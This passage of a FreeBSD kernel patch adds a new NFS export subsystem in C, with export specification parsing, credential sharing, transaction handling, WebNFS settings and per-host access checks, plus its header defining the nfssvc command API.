&sa4->sin_addr.s_addr, + sizeof(sa4->sin_addr.s_addr)); + if (error != 0) + goto failed; + if (maskbits != 0) { + sa4 = NFSE_ADDR_EXP_MASK4(ae); + sa4->sin_len = sizeof(*sa4); + mask = (uint8_t *)&sa4->sin_addr.s_addr; + } + } +#endif +#ifdef INET6 + if (family == AF_INET6) { + struct sockaddr_in6 *sa6; + + sa6 = NFSE_ADDR_EXP_ADDR6(ae); + sa6->sin6_len = sizeof(*sa6); + error = copyin(cmd_es->addr, &sa6->sin6_addr, + sizeof(sa6->sin6_addr)); + if (error != 0) + goto failed; + if (maskbits != 0) { + sa6 = NFSE_ADDR_EXP_MASK6(ae); + sa6->sin6_len = sizeof(*sa6); + mask = (uint8_t *)&sa6->sin6_addr; + } + } +#endif + if (mask != NULL) { + j = maskbits / 8; + for (i = 0; i < j; ++i) + mask[i] = UINT8_MAX; + maskbits %= 8; + if (maskbits != 0) { + mask[i] = ~((1 << (8 - maskbits)) - 1); + ++i; + } + for (; i < addrlen; ++i) + mask[i] = 0; + } + } + + /* Try to find existent credentials and security flavors. */ + if (command != NFSE_CMD_EXPORT_DELETE) { + struct nfse_cred_exp *ce0; + struct nfse_secflav *sf0; + + mtx_lock(&nfse_export_mtx); + LIST_FOREACH(ce0, &nfse_cred_exp_list, link) { + if (ce->uid != ce0->uid || ce->ngids != ce0->ngids) + continue; + for (i = 0; i < ce->ngids; ++i) + if (ce->gids[i] != ce0->gids[i]) + break; + if (i == ce->ngids) { + free(ce, M_NFSE); + ce = ce0; + ce->ref_count++; + break; + } + } + if (ce0 == NULL) { + LIST_INSERT_HEAD(&nfse_cred_exp_list, ce, link); + ce->ref_count = 1; + } + LIST_FOREACH(sf0, &nfse_secflav_list, link) + if (sf->nsec == sf0->nsec) { + for (i = 0; i < sf->nsec; ++i) + if (sf->sec[i] != sf0->sec[i]) + break; + if (i == sf->nsec) { + free(sf, M_NFSE); + sf = sf0; + sf->ref_count++; + break; + } + } + if (sf0 == NULL) { + LIST_INSERT_HEAD(&nfse_secflav_list, sf, link); + sf->ref_count = 1; + } + mtx_unlock(&nfse_export_mtx); + + ae->secflav = sf; + ae->cred_exp = ce; + } + + /* Everything is ready can finish. */ + uc_es->family = family; + uc_es->addr_exp = ae; + return (0); + +failed: + /* Release all allocated memory (it is not shared). */ + free(ae, M_NFSE); + free(ce, M_NFSE); + free(sf, M_NFSE); + return (error); +} + +/* + * Get one NFSE_CMD_EXPORT command. + */ +static int +nfse_cmd_export_get(struct nfse_ucmd_list *uc_list, const struct nfse_cmd *cmd) +{ + struct nfse_cmd_export cmd_export; + struct nfse_ucmd_export *uc_export; + struct nfse_ucmd_export_spec *uc_es; + struct nfse_cmd_export_spec *cmd_es; + struct nfse_ucmd *uc; + u_int i; + int error; + + if (cmd->size != sizeof(cmd_export)) + return (EINVAL); + + error = copyin(cmd->data, &cmd_export, sizeof(cmd_export)); + if (error != 0) + return (error); + + if (cmd_export.path != NULL) { + char *path; + + /* A new file system settings. */ + if (cmd_export.path_size == 0 || + cmd_export.path_size > RPCMNT_PATHLEN + 1) + return (EINVAL); + path = malloc(cmd_export.path_size, M_NFSE, M_WAITOK); + error = copyin(cmd_export.path, path, cmd_export.path_size); + if (error != 0 || path[cmd_export.path_size - 1] != '\0') { + free(path, M_NFSE); + return (error != 0 ? error : EINVAL); + } + uc = malloc(sizeof(*uc), M_NFSE, M_WAITOK); + STAILQ_INSERT_TAIL(uc_list, uc, link); + uc->command = NFSE_CMD_EXPORT; + uc->udata = cmd->data; + uc_export = malloc(sizeof(*uc_export), M_NFSE, M_WAITOK); + uc->kdata = uc_export; + uc_export->path = path; + STAILQ_INIT(&uc_export->es_list); + if (cmd_export.status & NFSE_CMD_EXPORT_EXPORTED) { + uc_export->fsid = cmd_export.fsid; + uc_export->fs_exp = NULL; + } else { + uc_export->fs_exp = nfse_fs_exp_new(); + if (uc_export->fs_exp == NULL) + return (ENOMEM); + } + } else { + /* Continue to work with the last file system. */ + uc = STAILQ_LAST(uc_list, nfse_ucmd, link); + if (uc == NULL || uc->command != NFSE_CMD_EXPORT) + return (EINVAL); + uc_export = uc->kdata; + } + + /* Read one-by-one all export specifications. */ + cmd_es = malloc(sizeof(*cmd_es), M_NFSE, M_WAITOK); + error = 0; + for (i = 0; i < cmd_export.nspec; ++i) { + error = copyin(&cmd_export.spec[i], cmd_es, sizeof(*cmd_es)); + if (error != 0) + break; + uc_es = malloc(sizeof(*uc_es), M_NFSE, M_WAITOK); + error = nfse_cmd_export_spec_get(&uc_es, cmd_es); + if (error != 0) { + free(uc_es, M_NFSE); + break; + } + if (uc_es != NULL) + STAILQ_INSERT_TAIL(&uc_export->es_list, uc_es, link); + } + free(cmd_es, M_NFSE); + + return (error); +} + +/* + * Get one NFSE_CMD_CLEAR command. + */ +static int +nfse_cmd_clear_get(const struct nfse_ucmd_list *uc_list, + struct nfse_ucmd *uc, const struct nfse_cmd *cmd) +{ + /* This command accepts no data and must be the first command. */ + if (cmd->size != 0 || cmd->data != NULL || STAILQ_FIRST(uc_list) != uc) + return (EINVAL); + return (0); +} + +/* + * Get one NFSE_CMD_EVENT command. + */ +static int +nfse_cmd_event_get(struct nfse_ucmd *uc, const struct nfse_cmd *cmd) +{ + struct nfse_cmd_event cmd_event; + struct nfse_ucmd_event *uc_event; + int error; + + if (cmd->size != sizeof(cmd_event)) + return (EINVAL); + error = copyin(cmd->data, &cmd_event, sizeof(cmd_event)); + if (error != 0) + return (error); + if (cmd_event.path_size == 0 || + cmd_event.path_size > RPCMNT_PATHLEN + 1) + return (EINVAL); + uc_event = malloc(sizeof(*uc_event), M_NFSE, M_WAITOK); + uc->kdata = uc_event; + uc_event->path = malloc(cmd_event.path_size, M_NFSE, M_WAITOK); + error = copyin(cmd_event.path, uc_event->path, cmd_event.path_size); + if (error != 0) + return (error); + if (uc_event->path[cmd_event.path_size - 1] != '\0') + return (EINVAL); + uc_event->fsid = cmd_event.fsid; + uc_event->status = cmd_event.status; + return (0); +} + +/* + * Get one NFSE_CMD_WEBNFS command. + */ +static int +nfse_cmd_webnfs_get(struct nfse_ucmd *uc, const struct nfse_cmd *cmd) +{ + struct nfse_cmd_webnfs cmd_webnfs; + struct nfse_ucmd_webnfs *uc_webnfs; + int error; + + if (cmd->size != sizeof(cmd_webnfs)) + return (EINVAL); + error = copyin(cmd->data, &cmd_webnfs, sizeof(cmd_webnfs)); + if (error != 0) + return (error); + if (cmd_webnfs.path_size > RPCMNT_PATHLEN + 1 || + cmd_webnfs.index_size > PATH_MAX) + return (EINVAL); + if ((cmd_webnfs.path != NULL && cmd_webnfs.path_size == 0) || + (cmd_webnfs.index != NULL && cmd_webnfs.index_size == 0)) + return (EINVAL); + uc_webnfs = malloc(sizeof(*uc_webnfs), M_NFSE, M_WAITOK); + uc->kdata = uc_webnfs; + if (cmd_webnfs.path == NULL) { + uc_webnfs->path = uc_webnfs->index = NULL; + return (0); + } + uc_webnfs->path = malloc(cmd_webnfs.path_size, M_NFSE, M_WAITOK); + uc_webnfs->index = cmd_webnfs.index != NULL ? + malloc(cmd_webnfs.index_size, M_TEMP, M_WAITOK) : NULL; + error = copyin(cmd_webnfs.path, uc_webnfs->path, + cmd_webnfs.path_size); + if (error != 0) + return (error); + if (uc_webnfs->path[cmd_webnfs.path_size - 1] != '\0') + return (EINVAL); + if (uc_webnfs->index != NULL) { + error = copyin(cmd_webnfs.index, uc_webnfs->index, + cmd_webnfs.index_size); + if (error != 0) + return (error); + if (uc_webnfs->index[cmd_webnfs.index_size - 1] != '\0') + return (EINVAL); + error = strchr(uc_webnfs->index, '/') != NULL; + if (error == 0 && uc_webnfs->index[0] == '.') + switch (uc_webnfs->index[1]) { + case '\0': + error = 1; + break; + case '.': + if (uc_webnfs->index[2] == '\0') + error = 1; + break; + } + if (error != 0) + return (EINVAL); + } + if (cmd_webnfs.fid.fid_len <= offsetof(struct fid, fid_data) || + cmd_webnfs.fid.fid_len > sizeof(cmd_webnfs.fid)) + return (EINVAL); + uc_webnfs->fsid = cmd_webnfs.fsid; + uc_webnfs->fid = cmd_webnfs.fid; + return (0); +} + +/* + * Update export specification. A user application must verify that + * all export specification updates can be applied to the configuration + * it manages. If some command cannot be applied to some file system, + * then deny access to this file system completely, since a user application + * already incorrectly manages own settings. + */ +static int +nfse_cmd_export_run(struct nfse_ucmd_export *uc_export) +{ + const char *path; + struct nfse_fs_exp *fe; + struct nfse_ucmd_export_spec *uc_es; + struct nfse_addr_exp *ae; + +#if defined(INET) || defined(INET6) + struct radix_node_head *rnh; + void *addr, *mask; +#endif + + /* Get exported or new nfse_fs_exp structure. */ + path = uc_export->path; + LIST_FOREACH(fe, &nfse_fs_exp_list, link) + if (strcmp(fe->mp->mnt_stat.f_mntonname, path) == 0) + break; + if (uc_export->fs_exp == NULL) { + /* Update for exported file system. */ + if (fe == NULL) { + /* File system is not exported any more. */ + uc_export->status = 0; + return (0); + } + if (uc_export->fsid.val[0] != fe->mp->mnt_stat.f_fsid.val[0] || + uc_export->fsid.val[1] != fe->mp->mnt_stat.f_fsid.val[1]) { + /* File system is exported, but its ID is different. */ + uc_export->status = NFSE_CMD_EXPORT_WRONG_ID | + NFSE_CMD_EXPORT_MOUNTED | NFSE_CMD_EXPORT_EXPORTED; + return (0); + } + } else { + struct mount *mp; + + /* New file system to be exported. */ + if (fe != NULL) { + /* File system is already exported. */ + uc_export->status = NFSE_CMD_EXPORT_WRONG_ID; + return (0); + } + /* + * Since a new file system is linked to the tail of the + * mount list, let's do reverse search to skip all matched + * but covered file systems. + */ + mtx_lock(&mountlist_mtx); + TAILQ_FOREACH_REVERSE(mp, &mountlist, mntlist, mnt_list) + if (strcmp(mp->mnt_stat.f_mntonname, path) == 0) + break; + mtx_unlock(&mountlist_mtx); + if (mp == NULL) { + /* File system is not mounted. */ + uc_export->status = 0; + return (0); + } + fe = uc_export->fs_exp; + fe->mp = mp; + uc_export->fsid = mp->mnt_stat.f_fsid; + uc_export->fs_exp = NULL; + LIST_INSERT_HEAD(&nfse_fs_exp_list, fe, link); + } + + /* Apply commands one-by-one. */ + STAILQ_FOREACH(uc_es, &uc_export->es_list, link) { + if (uc_es->command == NFSE_CMD_EXPORT_CLEAR) { + if (STAILQ_NEXT(uc_es, link) == NULL) { + LIST_REMOVE(fe, link); + nfse_fs_exp_free(fe, 0); + uc_export->status = 0; + return (0); + } else + nfse_fs_exp_free(fe, 1); + continue; + } +#ifdef INET + if (uc_es->family == AF_INET) { + rnh = fe->ae4_rnh; + addr = NFSE_ADDR_EXP_ADDR4(uc_es->addr_exp); + mask = uc_es->maskbits != 0 ? + NFSE_ADDR_EXP_MASK4(uc_es->addr_exp) : NULL; + } else +#endif +#ifdef INET6 + if (uc_es->family == AF_INET6) { + rnh = fe->ae6_rnh; + addr = NFSE_ADDR_EXP_ADDR6(uc_es->addr_exp); + mask = uc_es->maskbits != 0 ? + NFSE_ADDR_EXP_MASK6(uc_es->addr_exp) : NULL; + } else +#endif + { + ae = uc_es->addr_exp; + switch (uc_es->command) { + case NFSE_CMD_EXPORT_ADD: + if (fe->ae_def != NULL) + goto failed; + fe->ae_def = ae; + uc_es->addr_exp = NULL; + break; + case NFSE_CMD_EXPORT_UPDATE: + if (fe->ae_def == NULL) + goto failed; + fe->ae_def->flags = ae->flags; + fe->ae_def->secflav = ae->secflav; + fe->ae_def->cred_exp = ae->cred_exp; + ae->secflav->ref_count++; + ae->cred_exp->ref_count++; + break; + case NFSE_CMD_EXPORT_DELETE: + if (fe->ae_def == NULL) + goto failed; + nfse_addr_exp_free(fe->ae_def); + fe->ae_def = NULL; + break; + } + continue; + } +#if defined(INET) || defined(INET6) + switch (uc_es->command) { + case NFSE_CMD_EXPORT_ADD: + if (rnh->rnh_addaddr(addr, mask, rnh, + (struct radix_node *)uc_es->addr_exp) == NULL) + goto failed; + uc_es->addr_exp = NULL; + break; + case NFSE_CMD_EXPORT_UPDATE: + ae = (struct nfse_addr_exp *) + rnh->rnh_lookup(addr, mask, rnh); + if (ae == NULL) + goto failed; + ae->flags = uc_es->addr_exp->flags; + ae->secflav = uc_es->addr_exp->secflav; + ae->cred_exp = uc_es->addr_exp->cred_exp; + ae->secflav->ref_count++; + ae->cred_exp->ref_count++; + break; + case NFSE_CMD_EXPORT_DELETE: + ae = (struct nfse_addr_exp *) + rnh->rnh_deladdr(addr, mask, rnh); + if (ae == NULL) + goto failed; + nfse_addr_exp_free(ae); + break; + } +#endif + } + + uc_export->status = NFSE_CMD_EXPORT_MOUNTED | NFSE_CMD_EXPORT_EXPORTED; + return (0); + +failed: + LIST_REMOVE(fe, link); + nfse_fs_exp_free(fe, 0); + return (EPERM); +} + +/* + * Clear all export settings. + */ +static void +nfse_cmd_clear_run(void) +{ + struct nfse_fs_exp *fe, *fe_next; + + LIST_FOREACH_SAFE(fe, &nfse_fs_exp_list, link, fe_next) { + LIST_REMOVE(fe, link); + nfse_fs_exp_free(fe, 0); + } + nfse_webnfs_free(); +} + +/* + * Verify VFS event. + */ +static void +nfse_cmd_event_run(struct nfse_ucmd_event *uc_event) +{ + const struct nfse_fs_exp *fe; + const struct mount *mp; + const char *path; + + /* + * Try to find file system in the exported list. If it is present + * in the exported list, then it is mounted. + */ + path = uc_event->path; + LIST_FOREACH(fe, &nfse_fs_exp_list, link) + if (strcmp(fe->mp->mnt_stat.f_mntonname, path) == 0) + break; + if (fe != NULL) { + /* File system is exported. */ + if ((uc_event->status & NFSE_CMD_EVENT_EXPORTED) && + uc_event->fsid.val[0] == fe->mp->mnt_stat.f_fsid.val[0] && + uc_event->fsid.val[1] == fe->mp->mnt_stat.f_fsid.val[1]) { + uc_event->status = + NFSE_CMD_EVENT_MOUNTED | NFSE_CMD_EVENT_EXPORTED; + } else { + /* + * File system's ID is different or it is not + * exported by this process. + */ + uc_event->status = NFSE_CMD_EXPORT_WRONG_ID | + NFSE_CMD_EVENT_MOUNTED | NFSE_CMD_EVENT_EXPORTED; + } + } else { + /* + * Try to find file system in the mount list. Since a new + * file system is linked to the tail of the mount list, let's + * do reverse search to speed up finding of just mounted + * file systems. + */ + uc_event->status = 0; + mtx_lock(&mountlist_mtx); + TAILQ_FOREACH_REVERSE(mp, &mountlist, mntlist, mnt_list) + if (strcmp(mp->mnt_stat.f_mntonname, path) == 0) { + uc_event->status = NFSE_CMD_EVENT_MOUNTED; + break; + } + mtx_unlock(&mountlist_mtx); + } +} + +/* + * Apply WebNFS settings. + */ +static void +nfse_cmd_webnfs_run(struct nfse_ucmd_webnfs *uc_webnfs) +{ + const struct nfse_fs_exp *fe; + const char *path; + + nfse_webnfs_free(); + + path = uc_webnfs->path; + if (path == NULL) + return; + + LIST_FOREACH(fe, &nfse_fs_exp_list, link) + if (strcmp(fe->mp->mnt_stat.f_mntonname, path) == 0) + break; + if (fe == NULL) { + /* File system is not exported. */ + uc_webnfs->status = 0; + return; + } + if (uc_webnfs->fsid.val[0] != fe->mp->mnt_stat.f_fsid.val[0] || + uc_webnfs->fsid.val[1] != fe->mp->mnt_stat.f_fsid.val[1]) { + /* File system is exported, but file system ID is different. */ + uc_webnfs->status = NFSE_CMD_WEBNFS_EXPORTED | + NFSE_CMD_WEBNFS_WRONG_ID; + return; + } + + /* Apply new WebNFS settings. */ + nfs_pub.np_handle.fh_fsid = uc_webnfs->fsid; + nfs_pub.np_handle.fh_fid = uc_webnfs->fid; + nfs_pub.np_mount = fe->mp; + nfs_pub.np_index = uc_webnfs->index; + nfs_pub.np_valid = 1; + + uc_webnfs->index = NULL; + uc_webnfs->status = NFSE_CMD_WEBNFS_EXPORTED; +} + +/* + * Send result for the given succeeded command. + */ +static int +nfse_cmd_succeeded(const struct nfse_ucmd *uc) +{ + uint32_t *uaddr; + int error; + uint32_t status; + + switch (uc->command) { + case NFSE_CMD_EXPORT: + error = copyout(&((struct nfse_ucmd_export *)uc->kdata)->fsid, + &((struct nfse_cmd_export *)uc->udata)->fsid, + sizeof(((struct nfse_ucmd_export *)uc->kdata)->fsid)); + if (error != 0) + return (error); + status = ((struct nfse_ucmd_export *)uc->kdata)->status; + uaddr = &((struct nfse_cmd_export *)uc->udata)->status; + break; + case NFSE_CMD_EVENT: + status = ((struct nfse_ucmd_event *)uc->kdata)->status; + uaddr = &((struct nfse_cmd_event *)uc->udata)->status; + break; + case NFSE_CMD_WEBNFS: + status = ((struct nfse_ucmd_webnfs *)uc->kdata)->status; + uaddr = &((struct nfse_cmd_webnfs *)uc->udata)->status; + break; + default: + return (0); + } + return (copyout(&status, uaddr, sizeof(status))); +} + +/* + * Get all user commands and run them. + */ +int +nfse_cmds(struct thread *td, struct nfse_cmds_hdr *uap) +{ + struct nfse_cmds_hdr hdr; + struct nfse_cmd cmd; + struct nfse_ucmd_list uc_list_s; + struct nfse_ucmd_list *uc_list; + struct nfse_ucmd *uc; + struct nfse_tr *tr; + u_int i; + int error, trci; + + error = copyin(uap, &hdr, sizeof(hdr)); + if (error != 0) + return (error); + if (hdr.version != NFSE_API_VERSION) + return (EINVAL); + trci = (hdr.flags & NFSE_HDR_TR_COMMIT) ? 1 : 0; + if (hdr.flags & NFSE_HDR_TR_START) { + if (hdr.trid != 0) + return (EINVAL); + if (trci) { + tr = NULL; + uc_list = &uc_list_s; + STAILQ_INIT(uc_list); + } else { + tr = nfse_tr_new(td); + uc_list = &tr->uc_list; + } + } else { + if (hdr.trid == 0) + return (EINVAL); + tr = nfse_tr_find(td, hdr.trid, trci); + if (tr == NULL) + return (ESRCH); + uc_list = &tr->uc_list; + } + + error = 0; + for (i = 0; i < hdr.ncmds; ++i) { + error = copyin(&hdr.cmds[i], &cmd, sizeof(cmd)); + if (error != 0) + return (error); + if (cmd.command != NFSE_CMD_EXPORT) { + uc = malloc(sizeof(*uc), M_NFSE, M_WAITOK); + STAILQ_INSERT_TAIL(uc_list, uc, link); + uc->command = cmd.command; + uc->udata = cmd.data; + uc->kdata = NULL; + } + switch (cmd.command) { + case NFSE_CMD_EXPORT: + error = nfse_cmd_export_get(uc_list, &cmd); + break; + case NFSE_CMD_CLEAR: + error = nfse_cmd_clear_get(uc_list, uc, &cmd); + break; + case NFSE_CMD_EVENT: + error = nfse_cmd_event_get(uc, &cmd); + break; + case NFSE_CMD_WEBNFS: + error = nfse_cmd_webnfs_get(uc, &cmd); + break; + default: + error = EINVAL; + } + if (error != 0) + break; + } + + if (trci) { + if (error == 0) { + void *data; + + NFSE_EXPORT_WLOCK(); + STAILQ_FOREACH(uc, uc_list, link) { + data = uc->kdata; + switch (uc->command) { + case NFSE_CMD_EXPORT: + error = nfse_cmd_export_run(data); + break; + case NFSE_CMD_CLEAR: + nfse_cmd_clear_run(); + break; + case NFSE_CMD_EVENT: + nfse_cmd_event_run(data); + break; + case NFSE_CMD_WEBNFS: + nfse_cmd_webnfs_run(data); + break; + } + if (error != 0) + break; + } + NFSE_EXPORT_WUNLOCK(); + if (error == 0) + STAILQ_FOREACH(uc, uc_list, link) { + error = nfse_cmd_succeeded(uc); + if (error != 0) + break; + } + } + if (tr != NULL) + nfse_tr_free(tr); + else + nfse_ucmd_list_free(uc_list); + } else { + if (error == 0 && (hdr.flags & NFSE_HDR_TR_START)) + error = copyout(&tr->trid, &uap->trid, + sizeof(tr->trid)); + if (error != 0) + nfse_tr_cancel(tr); + else + nfse_tr_reset(tr); + } + + return (error); +} + +/* + * Check whether a host with the given address is allowed to + * access a file with the given handle. + */ +int +nfse_check(const fhandle_t *fhp, struct sockaddr *sa, struct mount **mpp, + struct ucred *ucred, int *rdonlyp) +{ + const struct nfse_fs_exp *fe; + const struct nfse_addr_exp *ae; + int rv; + + NFSE_EXPORT_RLOCK(); + LIST_FOREACH(fe, &nfse_fs_exp_list, link) + if (fe->mp->mnt_stat.f_fsid.val[0] == fhp->fh_fsid.val[0] && + fe->mp->mnt_stat.f_fsid.val[1] == fhp->fh_fsid.val[1]) + break; + if (fe != NULL) { + if (sa == NULL) { + ae = fe->ae_def; + } else +#ifdef INET + if (sa->sa_family == AF_INET) { + ae = (struct nfse_addr_exp *) + fe->ae4_rnh->rnh_matchaddr(sa, fe->ae4_rnh); + if (ae == NULL || + (ae->rnodes[0].rn_flags & RNF_ROOT)) + ae = fe->ae_def; + } else +#endif +#ifdef INET6 + if (sa->sa_family == AF_INET6) { + ae = (struct nfse_addr_exp *) + fe->ae6_rnh->rnh_matchaddr(sa, fe->ae6_rnh); + if (ae == NULL || + (ae->rnodes[0].rn_flags & RNF_ROOT)) + ae = fe->ae_def; + } else +#endif + { + ae = NULL; + } + if (ae != NULL && !(ae->flags & NFSE_EXFLAG_DENY)) { + if (ucred->cr_uid == 0 || + (ae->flags & NFSE_EXFLAG_MAPALL)) { + const struct nfse_cred_exp *ce; + u_int i; + + ce = ae->cred_exp; + ucred->cr_uid = ce->uid; + for (i = 0; i < ce->ngids; ++i) + ucred->cr_groups[i] = ce->gids[i]; + ucred->cr_ngroups = ce->ngids; + } + vfs_ref(fe->mp); + *mpp = fe->mp; + *rdonlyp = ae->flags & NFSE_EXFLAG_RDONLY; + rv = 0; + } else + rv = EACCES; + } else + rv = ESTALE; + NFSE_EXPORT_RUNLOCK(); + return (rv); +} + +/* + * Handle VFS mount event: if a file system that is being mounted + * covers exported file system, then forget about this export since + * such behaviour is logical from a user process point of view. + */ +static void +nfse_event_mount(void *arg1 __unused, void *arg2) +{ + const struct mount *mp; + struct nfse_fs_exp *fe, *fe_next; + + mp = arg2; + NFSE_EXPORT_WLOCK(); + LIST_FOREACH_SAFE(fe, &nfse_fs_exp_list, link, fe_next) + if (strcmp(fe->mp->mnt_stat.f_mntonname, + mp->mnt_stat.f_mntonname) == 0) { + LIST_REMOVE(fe, link); + break; + } + NFSE_EXPORT_WUNLOCK(); + if (fe != NULL) + nfse_fs_exp_free(fe, 0); +} + +/* + * Handle VFS unmount event: if a file system that is being unmounted + * is exported, then forget about this export. + */ +static void +nfse_event_unmount(void *arg1 __unused, void *arg2) +{ + struct nfse_fs_exp *fe, *fe_next; + + NFSE_EXPORT_WLOCK(); + LIST_FOREACH_SAFE(fe, &nfse_fs_exp_list, link, fe_next) + if (fe->mp == arg2) { + LIST_REMOVE(fe, link); + break; + } + NFSE_EXPORT_WUNLOCK(); + if (fe != NULL) + nfse_fs_exp_free(fe, 0); +} + +/* + * Initialize NFS export code. + */ +void +nfse_init(void) +{ + rw_init(&nfse_export_rwlock, "NFS export list"); + mtx_init(&nfse_export_mtx, "NFS export data", NULL, MTX_DEF); + mtx_init(&nfse_tr_mtx, "NFS export transaction", NULL, MTX_DEF); + callout_init_mtx(&nfse_tr_callout, &nfse_tr_mtx, 0); + nfse_mount_event_tag = EVENTHANDLER_REGISTER(vfs_mount_event, + nfse_event_mount, NULL, EVENTHANDLER_PRI_FIRST); + nfse_unmount_event_tag = EVENTHANDLER_REGISTER(vfs_unmount_event, + nfse_event_unmount, NULL, EVENTHANDLER_PRI_FIRST); +} + +/* + * Deinitialize NFS export code. + */ +void +nfse_deinit(void) +{ + EVENTHANDLER_DEREGISTER(vfs_unmount_event, nfse_mount_event_tag); + EVENTHANDLER_DEREGISTER(vfs_unmount_event, nfse_unmount_event_tag); + callout_drain(&nfse_tr_callout); + mtx_destroy(&nfse_tr_mtx); + mtx_destroy(&nfse_export_mtx); + rw_destroy(&nfse_export_rwlock); + nfse_tr_free_all(); + nfse_cmd_clear_run(); +} diff -ruN nfsserver.orig/nfs_export.h nfsserver/nfs_export.h --- nfsserver.orig/nfs_export.h 1970-01-01 03:00:00.000000000 +0300 +++ nfsserver/nfs_export.h 2009-06-06 13:44:45.000000000 +0300 @@ -0,0 +1,185 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD:$ + */ + +#ifndef _NFSSERVER_NFS_EXPORT_H_ +#define _NFSSERVER_NFS_EXPORT_H_ + +#define NFSE_API_VERSION 1 /* API version. */ + +#define NFSE_NSECFLAV 5 /* Number of security flavors. */ + +/* + * Flags for the nfse_cmds_hdr structure. + */ +#define NFSE_HDR_TR_START 0x0001 /* Start a new transaction. */ +#define NFSE_HDR_TR_COMMIT 0x0002 /* Commit transaction. */ + +/* + * Argument for nfssvc(2) (do not change it). + */ +struct nfse_cmds_hdr { + u_int version; /* NFSE_API_VERSION */ + uint32_t flags; /* Header flags. */ + u_int trid; /* Transaction ID. */ + u_int ncmds; /* Number of commands. */ + struct nfse_cmd *cmds; /* Array of commands. */ +}; + +/* + * Command code for the nfse_cmd structure. + */ +#define NFSE_CMD_EXPORT 1 /* Update current export spec. */ +#define NFSE_CMD_CLEAR 2 /* Clear all export spec. */ +#define NFSE_CMD_EVENT 3 /* Check (sync) VFS events. */ +#define NFSE_CMD_WEBNFS 4 /* Update WebNFS settings. */ + +/* + * Command descriptor. + */ +struct nfse_cmd { + u_int command; /* Command code. */ + size_t size; /* Size of command's data. */ + void *data; /* Pointer to command's data. */ +}; + +/* + * The NFSE_CMD_EXPORT command modifies export specifications for + * a file system. + */ + +/* + * Status flags for the nfse_cmd_export structure. + */ +#define NFSE_CMD_EXPORT_MOUNTED 0x0001 /* File system is mounted. */ +#define NFSE_CMD_EXPORT_EXPORTED 0x0002 /* File system is exported. */ +#define NFSE_CMD_EXPORT_WRONG_ID 0x0004 /* File system has another ID. */ + +/* + * NFSE_CMD_EXPORT command descriptor. + */ +struct nfse_cmd_export { + const char *path; /* Mount point. */ + size_t path_size; /* Size of path name. */ + fsid_t fsid; /* File system ID. */ + uint32_t status; /* Status flags. */ + u_int nspec; /* Number of export spec. */ + const struct nfse_cmd_export_spec *spec; /* Export spec. array. */ +}; + +/* + * Command codes and flags for the nfse_cmd_export_spec structure. + */ +#define NFSE_CMD_EXPORT_ADD 0x0001 /* Add a new export spec. */ +#define NFSE_CMD_EXPORT_UPDATE 0x0002 /* Update existent export spec. */ +#define NFSE_CMD_EXPORT_DELETE 0x0003 /* Delete existent export spec. */ +#define NFSE_CMD_EXPORT_CLEAR 0x0004 /* Clear all export spec. */ +#define NFSE_CMD_EXPORT_RDONLY 0x0010 /* Read-only access (f). */ +#define NFSE_CMD_EXPORT_MAPALL 0x0020 /* Change cred. for everyone (f). */ +#define NFSE_CMD_EXPORT_DENY 0x0040 /* Deny access (f). */ + +#define NFSE_CMD_EXPORT_CMDMASK 0x000f /* Mask for command. */ + +/* + * Export specification descriptor. + */ +struct nfse_cmd_export_spec { + uint32_t flags; /* Command and flags. */ + uid_t uid; /* Credentials UID. */ + u_int ngids; /* Number of credentials GIDs. */ + const gid_t *gids; /* Credentials GIDs. */ + u_int nsec; /* Number of security flavors. */ + const int *sec; /* Pointer to security flavors. */ + sa_family_t family; /* Address family. */ + u_char maskbits; /* Number of bits in mask. */ + const uint8_t *addr; /* Pointer to address. */ +}; + +/* + * The NFSE_CMD_CLEAR command clears all export specifications and + * it does not require additional data. + */ + +/* + * The NFSE_CMD_EVENT command synchronizes userland and kernel vision of + * exported file system. + */ + +/* + * Status flags for the nfse_cmd_export structure. + */ +#define NFSE_CMD_EVENT_MOUNTED 0x0001 /* File system is mounted. */ +#define NFSE_CMD_EVENT_EXPORTED 0x0002 /* File system is exported. */ +#define NFSE_CMD_EVENT_WRONG_ID 0x0004 /* File system has another ID. */ + +/* + * NFSE_CMD_EVENT command descriptor. + */ +struct nfse_cmd_event { + const char *path; /* Mount point. */ + size_t path_size; /* Size of path name. */ + fsid_t fsid; /* File system ID. */ + uint32_t status; /* Status flags. */ +}; + +/* + * The NFSE_CMD_WEBNFS command changes WebNFS settings. + */ + +/* + * Status flags for the nfse_cmd_webnfs structure. + */ +#define NFSE_CMD_WEBNFS_EXPORTED 0x0001 /* File system is exported. */ +#define NFSE_CMD_WEBNFS_WRONG_ID 0x0004 /* File system has another ID. */ + +/* + * NFSE_CMD_WEBNFS command descriptor. + */ +struct nfse_cmd_webnfs { + const char *path; /* Mount point. */ + const char *index; /* WebNFS index file. */ + size_t path_size; /* Size of path name. */ + size_t index_size; /* Size of index name. */ + fsid_t fsid; /* File system ID. */ + struct fid fid; /* File ID of root vnode. */ + uint32_t status; /* Status flags. */ +}; + +#ifdef _KERNEL + +extern int nfse_api_used; + +extern int nfse_cmds(struct thread *, struct nfse_cmds_hdr *); +extern int nfse_check(const fhandle_t *, struct sockaddr *, + struct mount **, struct ucred *, int *); + +extern void nfse_init(void); +extern void nfse_deinit(void); + +#endif 